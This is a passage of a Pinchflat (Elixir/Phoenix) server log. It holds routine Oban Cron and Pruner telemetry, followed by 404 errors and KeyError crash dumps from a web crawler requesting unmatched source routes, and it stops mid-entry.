{"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.554 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:08.633 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:38.635 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.555 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:08.637 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:38.639 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.556 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:08.641 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:38.643 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.557 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:08.645 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:38.647 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.558 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:08.649 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:38.651 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.559 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:08.653 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:38.655 [info] {"source":"oban","duration":1274,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.560 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:08.657 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:38.659 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.561 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:08.661 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:38.663 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.562 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:08.665 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:38.667 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.563 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:08.669 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:38.671 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.564 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:08.674 [info] {"source":"oban","duration":2139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:38.676 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.565 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:08.678 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:38.680 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.566 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:08.682 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:38.684 [info] {"source":"oban","duration":1445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.567 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:08.686 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:38.688 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.568 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:08.690 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:38.692 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.569 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:08.694 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:38.696 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.570 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:08.698 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:38.700 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.571 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:08.702 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:38.704 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.572 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:08.706 [info] {"source":"oban","duration":1158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:38.708 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.573 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:08.710 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:38.712 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.574 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:08.714 [info] {"source":"oban","duration":1506,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:38.716 [info] {"source":"oban","duration":1265,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.575 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:08.718 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:38.720 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.576 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:08.722 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:38.724 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.577 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:08.726 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:38.728 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.578 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:08.730 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:38.732 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.579 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:08.734 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:38.736 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.580 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:08.738 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:38.740 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.581 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:08.742 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:38.744 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.582 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:08.746 [info] {"source":"oban","duration":1472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:38.748 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.583 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:08.750 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:38.752 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.584 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:08.754 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:38.756 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.585 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:08.758 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:38.760 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.586 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:08.762 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:38.764 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.587 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:08.766 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:38.768 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.588 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:08.770 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:38.772 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.589 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:08.774 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:33.542 [info] GET /sources/2/sync_files_on_disk 08:13:33.543 [debug] QUERY OK source="settings" db=0.6ms idle=859.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:13:33.544 [debug] QUERY OK source="settings" db=0.4ms idle=860.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:13:33.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:13:33.545 [error] #PID<0.273914.0> running PinchflatWeb.Endpoint (connection #PID<0.273912.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273914.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsTo1w34zZ8TUAM3CC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273914.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, (truncated) 08:13:34.043 [info] GET /sources/5/force_index 08:13:34.044 [debug] QUERY OK source="settings" db=0.3ms idle=1360.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:13:34.044 [debug] QUERY OK source="settings" db=0.4ms idle=1273.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:13:34.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:13:34.045 [error] #PID<0.273915.0> running PinchflatWeb.Endpoint (connection #PID<0.273912.0>, stream id 3) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273915.0>, params: %{}, path_info: ["sources", "5", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/5/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsTqtQJboq_u4AM3DC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273915.0>, params: %{}, path_info: ["sources", "5", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, (truncated) 08:13:34.545 [info] GET /sources/2/force_index 08:13:34.546 [debug] QUERY OK source="settings" db=0.3ms idle=1002.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:13:34.546 [debug] QUERY OK source="settings" db=0.2ms idle=1001.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:13:34.546 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:13:34.547 [error] #PID<0.273916.0> running PinchflatWeb.Endpoint (connection #PID<0.273912.0>, stream id 4) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET 